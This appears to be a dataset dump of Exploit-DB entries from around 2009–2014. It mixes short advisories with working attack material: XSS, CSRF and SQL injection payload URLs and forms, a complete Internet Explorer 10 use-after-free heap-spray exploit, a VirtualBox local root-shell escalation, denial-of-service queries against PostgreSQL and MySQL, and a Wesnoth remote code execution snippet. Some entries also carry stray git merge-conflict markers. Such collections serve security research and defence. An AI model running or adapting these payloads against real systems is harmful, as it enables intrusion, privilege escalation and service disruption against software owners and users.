QLWD/code_shield huggingface dataset:
标题: AWStats 6.4 - 'AWStats.pl' Multiple Full Path Disclosures EDB-ID: 32870 CVE: 2006-3682 类型: WEBAPPS 平台: CGI 发布日期: 2009-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/34159/info

AWStats is prone to a path-disclosure vulnerability.

Exploiting this issue can allow an attacker to access sensitive data that may be used to launch further attacks against a vulnerable computer.

The following are vulnerable:

AWStats 6.5 (build 1.857) and prior
WebGUI Runtime Environment 0.8.x and prior

http://www.example.com/awstats/awstats.pl?config=HACKdestailleur.fr URL: https://www.exploit-db.com/exploits/32870
标题: SAP MaxDB 7.4/7.6 - 'webdbm' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32879 CVE: 2007-4475 类型: REMOTE 平台: WINDOWS 发布日期: 2009-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/34319/info

SAP MaxDB is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&Database=[XSS]
http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&User=[XSS]
http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&Database=&User=&Password=[XSS] URL: https://www.exploit-db.com/exploits/32879
标题: ExpressionEngine 1.6 - Avtaar Name HTML Injection EDB-ID: 32871 CVE: 2009-1070 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/34193/info

ExpressionEngine is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

ExpressionEngine 1.6.4 through 1.6.6 are affected. Other versions may also be vulnerable.

chococat.gif"><script>alert('XSS')</script><div "a URL: https://www.exploit-db.com/exploits/32871
标题: WordPress Plugin Quick Page/Post Redirect 5.0.3 - Multiple Vulnerabilities EDB-ID: 32867 CVE: 2014-2598 类型: WEBAPPS 平台: PHP 发布日期: 2014-04-14 漏洞利用脚本: Details
================
Software: Quick Page/Post Redirect Plugin
Version: 5.0.3
Homepage: http://wordpress.org/plugins/quick-pagepost-redirect-plugin/
Advisory ID: dxw-1970-1091
CVE: CVE-2014-2598
CVSS: 6.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:P)

Description
================
CSRF and stored XSS in Quick Page/Post Redirect Plugin

Vulnerability
================
This plugin is vulnerable to a combination CSRF/XSS attack meaning that if an admin user can be persuaded to visit a URL of the attacker’s choosing (via spear phishing for instance), the attacker can insert arbitrary JavaScript into an admin page. Once that occurs the admin’s browser can be made to do almost anything the admin user could typically do such as create/delete posts, create new admin users, or even exploit vulnerabilities in other plugins.

Proof of concept
================
Use the following form to introduce potentially malicious JavaScript:
<form method=\"POST\" action=\"http://localhost/wp-admin/admin.php?page=redirect-updates\">
  <input type=\"text\" name=\"quickppr_redirects[request][]\" value=\""><script>alert(1)</script>\">
  <input type=\"text\" name=\"quickppr_redirects[destination][]\" value=\"http://dxw.com/\">
  <Input type=\"text\" name=\"submit_301\" value=\"1\">
  <input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 5.0.5 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2014-03-21: Discovered
2014-03-24: Reported to plugins@wordpress.org
2014-04-07: No response; requested an alternative email address using the author’s contact form.
2014-04-08: Re-reported direct to author
2014-04-08: Author responded, and publication agreed on or before 2014-05-06
2014-04-10: Author reports issue fixed in version 5.0.5

<<<<<<< HEAD

Discovered by dxw:
================
Tom Adams
=======

Discovered by dxw:
================
Tom Adams
>>>>>>> 65c687d5cb3c4aa66c28a30a4f2aaf33169dc464
Please visit security.dxw.com for more information. URL: https://www.exploit-db.com/exploits/32867
标题: WordPress Plugin Twitget 3.3.1 - Multiple Vulnerabilities EDB-ID: 32868 CVE: 2014-2995 2014-2559 类型: WEBAPPS 平台: PHP 发布日期: 2014-04-14 漏洞利用脚本: Details
================
Software: Twitget
Version: 3.3.1
Homepage: http://wordpress.org/plugins/twitget/
Advisory ID: dxw-1970-435
CVE: CVE-2014-2559
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)

Description
================
CSRF/XSS vulnerability in Twitget 3.3.1

Vulnerability
================
If a logged-in administrator visits a specially crafted page, options can be updated (CSRF) without their consent, and some of those options are output unescaped into the form (XSS). In this example the XSS occurs at line 755 in twitget.php. The nonce-checking should have occurred somewhere around line 661 in the same file.

Proof of concept
================
<form action=\"http://localhost/wp-admin/options-general.php?page=twitget/twitget.php\" method=\"POST\">
  <input type=\"text\" name=\"twitget_username\" value=\"john_smith\">
  <input type=\"text\" name=\"twitget_consumer_key\" value=\""><script>alert(\'dxw\')</script>\">
  <input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 3.3.3 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2013-07-30: Discovered
2014-03-18: Reported to plugins@wordpress.org
2014-04-09: Author reports fixed in version 3.3.3.

<<<<<<< HEAD

Discovered by dxw:
================
Tom Adams
=======

Discovered by dxw:
================
Tom Adams
>>>>>>> 65c687d5cb3c4aa66c28a30a4f2aaf33169dc464
Please visit security.dxw.com for more information. URL: https://www.exploit-db.com/exploits/32868
标题: BlogEngine.NET 1.4 - 'search.aspx' Cross-Site Scripting EDB-ID: 32874 CVE: 2008-6476 类型: WEBAPPS 平台: ASP 发布日期: 2009-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/34227/info

BlogEngine.NET is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

BlogEngine.NET 1.4 is vulnerable; other versions may also be affected.

http://www.example.com/blog/search.aspx?q="><script>alert(&#039;ImBeded%20JS&#039;)</script> URL: https://www.exploit-db.com/exploits/32874
标题: MPlayer - '.AAC' File Handling Denial of Service EDB-ID: 32856 CVE: 2008-4610 类型: DOS 平台: LINUX 发布日期: 2008-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/34136/info

MPlayer is prone to multiple denial-of-service vulnerabilities when handling malformed media files.

Successfully exploiting this issue allows remote attackers to deny service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32856.aac URL: https://www.exploit-db.com/exploits/32856
标题: Sun Java System Communications Express 6.3 - 'search.xml' Cross-Site Scripting EDB-ID: 32863 CVE: 2009-1729 类型: WEBAPPS 平台: JAVA 发布日期: 2009-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/34154/info

Sun Java System Communications Express is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

https://www.example.com/uwc/abs/search.xml?bookid=e11e46531a8a0&j_encoding=UTF-8&uiaction=quickaddcontact&entryid=&valueseparator=%3B&prefix=abperson_&stopalreadyselected=1&isselchanged=0&idstoadd=&selectedbookid=&type=abperson%2Cgroup&wcfg_groupview=&wcfg_searchmode=&stopsearch=1&expandgroup=&expandselectedgroup=&expandonmissing=&nextview=&bookid=e11e46531a8a0&actionbookid=e11e46531a8a0&searchid=7&filter=entry%2Fdisplayname%3D*&firstentry=0&sortby=%2Bentry%2Fdisplayname&curbookid=e11e46531a8a0&searchelem=0&searchby=contains&searchstring=Search+for&searchbookid=e11e46531a8a0&abperson_givenName=aa&abperson_sn=aa&abperson_piEmail1=a%40a.com&abperson_piEmail1Type=work&abperson_piPhone1=11&abperson_piPhone1Type=work&quickaddprefix=abperson_&abperson_displayName=%3Cscript%3Ealert%28%27xss2%27%29%3C%2Fscript%3E%2C+%3Cscript%3Ealert%28%27xss1%27%29%3C%2Fscript%3E&abperson_entrytype=abperson&abperson_memberOfPIBook=e11e46531a8a0 URL: https://www.exploit-db.com/exploits/32863
标题: Sun Java System Calendar Server 6.3 - Duplicate URI Request Denial of Service EDB-ID: 32860 CVE: 2009-1219 类型: DOS 平台: JAVA 发布日期: 2009-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/34150/info

Sun Java System Calendar Server is prone to a denial-of-service vulnerability because it fails to handle certain duplicate URI requests.

An attacker can exploit this issue to crash the Calendar Server, resulting in a denial-of-service condition.

NOTE: Versions prior to Sun Java System Calendar Server 6.3 are not vulnerable. 

The following example data is available:

https://www.example.com:3443/?tzid=crash URL: https://www.exploit-db.com/exploits/32860
标题: MPlayer - '.OGM' File Handling Denial of Service EDB-ID: 32857 CVE: 2008-4610 类型: DOS 平台: LINUX 发布日期: 2008-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/34136/info
 
MPlayer is prone to multiple denial-of-service vulnerabilities when handling malformed media files.
 
Successfully exploiting this issue allows remote attackers to deny service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32857.ogm URL: https://www.exploit-db.com/exploits/32857
标题: TikiWiki 2.2/3.0 - 'tiki-listpages.php' Cross-Site Scripting EDB-ID: 32854 CVE: 2009-1204 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/34107/info

TikiWiki is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

TikiWiki 2.2 through 3.0 beta1 are vulnerable. 

http://www.example.com/tiki-listpages.php/>"><Script>alert(3)</scRipt> URL: https://www.exploit-db.com/exploits/32854
标题: Sun Java System Calendar Server 6 - 'command.shtml' Cross-Site Scripting EDB-ID: 32862 CVE: 2009-1218 类型: WEBAPPS 平台: JAVA 发布日期: 2009-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/34153/info

Sun Java System Calendar Server is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

https://www.example.com:3443//command.shtml?view=overview&id=HK8CjQOkmbY&date=20081217T200734%27;alert('xss');//Z&caliad=someid@test.com&security=1 URL: https://www.exploit-db.com/exploits/32862
标题: TikiWiki 2.2/3.0 - 'tiki-galleries.php' Cross-Site Scripting EDB-ID: 32852 CVE: 2009-1204 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/34105/info

TikiWiki is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

TikiWiki 2.2 through 3.0 beta1 are vulnerable.

http://www.example.com/tiki-galleries.php/>"><Script>alert(1)</scRipt> URL: https://www.exploit-db.com/exploits/32852
标题: TikiWiki 2.2/3.0 - 'tiki-list_file_gallery.php' Cross-Site Scripting EDB-ID: 32853 CVE: 2009-1204 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/34106/info

TikiWiki is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

TikiWiki 2.2 through 3.0 beta1 are vulnerable.

http://www.example.com/tiki-list_file_gallery.php/>"><Script>alert(2)</scRipt> URL: https://www.exploit-db.com/exploits/32853
标题: Sun Java System Communications Express 6.3 - 'UWCMain' Cross-Site Scripting EDB-ID: 32864 CVE: 2009-1729 类型: WEBAPPS 平台: JAVA 发布日期: 2009-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/34155/info

Sun Java System Communications Express is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

This issue is tracked by Sun Alert ID 258068.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

The following are vulnerable:

Sun Java System Communications Express 6.3 for Sun Java Communications Suite 5 and 6
Sun Java System Communications Express 6 2005Q4 (6.2) 

http://www.example.com/uwc/base/UWCMain?anon=true&calid=test@test.com&caltype=temporaryCalids&date=20081223T143836Z&category=All&viewctx=day&temporaryCalendars=test@test.com%27;alert(%27hello%27);a=%27 URL: https://www.exploit-db.com/exploits/32864
标题: Microsoft Internet Explorer 10 - CMarkup Use-After-Free (MS14-012) EDB-ID: 32851 CVE: 2014-0322 类型: REMOTE 平台: WINDOWS 发布日期: 2014-04-14 漏洞利用脚本: <!--
 MS14-012 Internet Explorer CMarkup Use-After-Free
 Vendor Homepage: http://www.microsoft.com
 Version: IE 10
 Date: 2014-03-31 
 Exploit Author: Jean-Jamil Khalife
 Tested on: Windows 7 SP1 x64 (fr, en)
 Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
 Home: http://www.hdwsec.fr
 Blog : http://www.hdwsec.fr/blog/
 MS14-012 / CVE-2014-0322

 Generation:
  c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf

 Exploit-DB Mirror:  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32851-AsXploit.as

-->

<html>
<head>
</head>
<body>

<script>

var g_arr = [];
var arrLen = 0x250;

function dword2data(dword)
{
 var d = Number(dword).toString(16);
 while (d.length < 8)
  d = '0' + d;

 return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}

function eXpl()
{
    var a=0;

    for (a=0; a < arrLen; a++) {
        g_arr[a] = document.createElement('div');
    }
 
 // Build a new object
 var b = dword2data(0x19fffff3);
    while (b.length < 0x360)
 {
  // mov     eax,dword ptr [esi+98h]
  // ...
  // mov     eax,dword ptr [eax+8]
  // and     dword ptr [eax+2F0h],0FFFFFFBFh
  if (b.length == (0x98 / 2))
  {
   b += dword2data(0x1a000010);
  }
  // mov     ecx,dword ptr [edx+94h]
  // mov     eax,dword ptr [ecx+0Ch]
  else if (b.length == (0x94 / 2))
  {
   b += dword2data(0x1a111111);
  }
  // mov     eax,dword ptr [edx+15Ch]
  // mov     ecx,dword ptr [eax+edx*8]
  else if (b.length == (0x15c / 2))
  {
   b += dword2data(0x42424242);
  }
  else
  {
   b += dword2data(0x19fffff3);
  }
 }
    
 var d = b.substring(0, ( 0x340 - 2 )/2);
    
 // trigger
 try{
        this.outerHTML=this.outerHTML
    } 
 catch(e){
  
 }
 
    CollectGarbage();

 // Replace freed object
    for (a=0; a < arrLen; a++)
    {
        g_arr[a].title = d.substring(0, d.length);
    }
}

// Trigger the vulnerability
function trigger()
{
    var a = document.getElementsByTagName("script");
    var b = a[0];
    b.onpropertychange = eXpl;
    var c = document.createElement('SELECT');
    c = b.appendChild(c);
}



</script>
<embed src=AsXploit.swf width="10" height="10"></embed>
</body>
</html> URL: https://www.exploit-db.com/exploits/32851
标题: SlySoft (Multiple Products) - Driver IOCTL Request Multiple Local Buffer Overflow Vulnerabilities EDB-ID: 32850 CVE: 2009-0824 类型: LOCAL 平台: WINDOWS 发布日期: 2009-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/34103/info

Multiple SlySoft products are prone to multiple buffer-overflow vulnerabilities because they fail to adequately validate user-supplied input.

A local attacker can exploit these issues to execute arbitrary code with SYSTEM-level privileges. Failed attacks will result in denial-of-service conditions.

The following applications are vulnerable:

SlySoft AnyDVD 6.5.2.2
SlySoft AnyDVD HD 6.5.2.2
SlySoft Virtual CloneDrive 5.4.2.3
SlySoft CloneDVD 2.9.2.0
SlySoft CloneCD 5.3.1.3

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32850.zip URL: https://www.exploit-db.com/exploits/32850
标题: Sun xVM VirtualBox 2.0/2.1 - Local Privilege Escalation EDB-ID: 32848 CVE: 2009-0876 类型: LOCAL 平台: LINUX 发布日期: 2009-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/34080/info

Sun xVM VirtualBox is prone to a local privilege-escalation vulnerability.

An attacker can exploit this vulnerability to run arbitrary code with superuser privileges.

The following versions for the Linux platform are vulnerable:

Sun xVM VirtualBox 2.0
Sun xVM VirtualBox 2.1 

$ id -u
1002

$ cat test.c
#include <unistd.h>
#include <sys/syscall.h>
__attribute__((constructor))
void awesome(void)
{
        char *argv[] = { "sh", NULL };
        extern char *environ;
        syscall(SYS_setuid, 0);
        syscall(SYS_execve, "/bin/sh", argv, environ);
}

$ gcc -Wall test.c -fPIC -shared -o libdl.so.2 -Wl,-soname,libdl.so.2

$ ls -l /opt/VirtualBox/VirtualBox
-r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 /opt/VirtualBox/VirtualBox

$ ln /opt/VirtualBox/VirtualBox

$ ls -l VirtualBox
-r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 VirtualBox

$ ./VirtualBox
./VirtualBox: /home/vapier/libdl.so.2: no version information available
(required by ./VirtualBox)
sh-4.0# whoami
root URL: https://www.exploit-db.com/exploits/32848
标题: PostgreSQL 8.3.6 - Conversion Encoding Remote Denial of Service EDB-ID: 32849 CVE: 2009-0922 类型: DOS 平台: LINUX 发布日期: 2009-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/34090/info

PostgreSQL is prone to a remote denial-of-service vulnerability.

Exploiting this issue may allow attackers to terminate connections to the PostgreSQL server, denying service to legitimate users.

test=# CREATE DEFAULT CONVERSION test1 FOR 'LATIN1' TO 'KOI8' FROM
ascii_to_mic;
CREATE CONVERSION
test=# CREATE DEFAULT CONVERSION test2 FOR 'KOI8' TO 'LATIN1' FROM
mic_to_ascii;
CREATE CONVERSION
test=# set client_encoding to 'LATIN1'; URL: https://www.exploit-db.com/exploits/32849
标题: MySQL 6.0.9 - XPath Expression Remote Denial of Service EDB-ID: 32838 CVE: 2009-0819 类型: DOS 平台: LINUX 发布日期: 2009-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/33972/info

MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain XPath expressions.

An attacker can exploit this issue to crash the application, denying access to legitimate users.

This issue affects:

MySQL 5.1.31 and earlier
MySQL 6.0.9 and earlier

select updatexml('','0/a','');
select extractvalue('','0/a'); URL: https://www.exploit-db.com/exploits/32838
标题: TinXCMS 3.5 - 'rss.php' SQL Injection EDB-ID: 32843 CVE: 2009-0825 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/34021/info

TinX CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to TinX CMS 3.5.1 are vulnerable.

http://www.example.com/system/rss.php?id=1'SQL-code URL: https://www.exploit-db.com/exploits/32843
标题: IBM Websphere Application Server 6.1/7.0 - Administrative Console Cross-Site Scripting EDB-ID: 32839 CVE: 2009-0855 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/34001/info

IBM WebSphere Application Server (WAS) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to WAS 6.1.0.23 and 7.0.0.3. 

http://www.example.com/ibm/console/<script>alert('DSecRG_XSS')</script>
http://www.example.com/ibm/console/<script>alert('DSecRG_XSS')</script>.jsp URL: https://www.exploit-db.com/exploits/32839
标题: PHORTAIL 1.2.1 - 'poster.php' Multiple HTML Injection Vulnerabilities EDB-ID: 32844 CVE: 2009-4888 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/34038/info

PHORTAIL is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

PHORTAIL 1.2.1 is vulnerable; other versions may also be affected.

<html><head><title>PHORTAIL v1.2.1 XSS Vulnerability</title></head> <hr><pre> Module : PHORTAIL 1.2.1 download : http://www.phpscripts-fr.net/scripts/download.php?id=330 Vul : XSS Vulnerability file : poster.php Author : Jonathan Salwan Mail : submit [AT] shell-storm.org Web : http://www.shell-storm.org </pre><hr> <form name="rapporter" action="http://www.example.com/poster.php" method="POST"></br> <input type="hidden" name="ajn" value="1"> <input type="text" name="pseudo" value="xss">=>Pseudo</br> <input type="text" name="email" value="xss@xss.com">=>E-mail</br> <input type="text" name="ti" value="<script>alert('xss PoC');</script>">=>XSS vulnerability</br> <input type="text" name="txt" value="xss">=>text</br> <input type="submit" value="Start"></br> </form> </html> URL: https://www.exploit-db.com/exploits/32844
标题: Wesnoth 1.x - PythonAI Remote Code Execution EDB-ID: 32837 CVE: 2009-0367 类型: REMOTE 平台: LINUX 发布日期: 2009-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/33971/info

Wesnoth is prone to a remote code-execution vulnerability caused by a design error.

Attackers can exploit this issue to execute arbitrary Python code in the context of the user running the vulnerable application.

Versions prior to Wesnoth 1.5.11 are affected.

#!WPY
import threading
os = threading._sys.modules['os']
f = os.popen("firefox 'http://www.example.com'")
f.close() URL: https://www.exploit-db.com/exploits/32837